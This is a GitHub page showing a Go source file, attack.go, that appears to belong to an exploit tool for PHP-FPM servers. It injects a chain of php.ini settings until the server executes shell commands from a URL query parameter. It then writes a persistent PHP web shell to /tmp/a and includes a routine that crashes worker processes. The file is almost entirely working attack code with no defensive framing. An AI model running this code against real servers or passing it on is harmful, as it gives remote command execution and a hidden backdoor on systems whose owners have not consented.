-
Notifications
You must be signed in to change notification settings - Fork 248
/
Copy pathattack.go
67 lines (59 loc) · 1.52 KB
/
attack.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package main
import (
"bytes"
"log"
"net/url"
)
var chain = []string{
"short_open_tag=1",
"html_errors=0",
"include_path=/tmp",
"auto_prepend_file=a",
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/a",
"extension_dir=\"<?=`\"",
"extension=\"$_GET[a]`?>\"",
}
const (
checkCommand = `a=/bin/sh+-c+'which+which'&` // must not contain any chars that are encoded (except space)
successPattern = "/bin/which"
cleanupCommand = ";echo '<?php echo `$_GET[a]`;return;?>'>/tmp/a;which which"
)
func Attack(requester *Requester, params *AttackParams) error {
log.Printf("Performing attack using php.ini settings...")
attackLoop:
for {
for _, payload := range chain {
_, body, err := SetSettingSingle(requester, params, payload, checkCommand)
if err != nil {
return err
}
if bytes.Contains(body, []byte(successPattern)) {
log.Printf(`Success! Was able to execute a command by appending "?%s" to URLs`, checkCommand)
break attackLoop
}
}
}
log.Printf("Trying to cleanup /tmp/a...")
cleanup := url.Values{"a": []string{cleanupCommand}}
for {
_, body, err := requester.RequestWithQueryStringPrefix("/", params, cleanup.Encode()+"&")
if err != nil {
return err
}
if bytes.Contains(body, []byte(successPattern)) {
log.Print("Done!")
break
}
}
return nil
}
func KillWorkers(requester *Requester, params *AttackParams, killCount int) error {
for i := 0; i < killCount; i++ {
if _, _, err := requester.Request(BreakingPayload, params); err != nil {
return err
}
}
return nil
}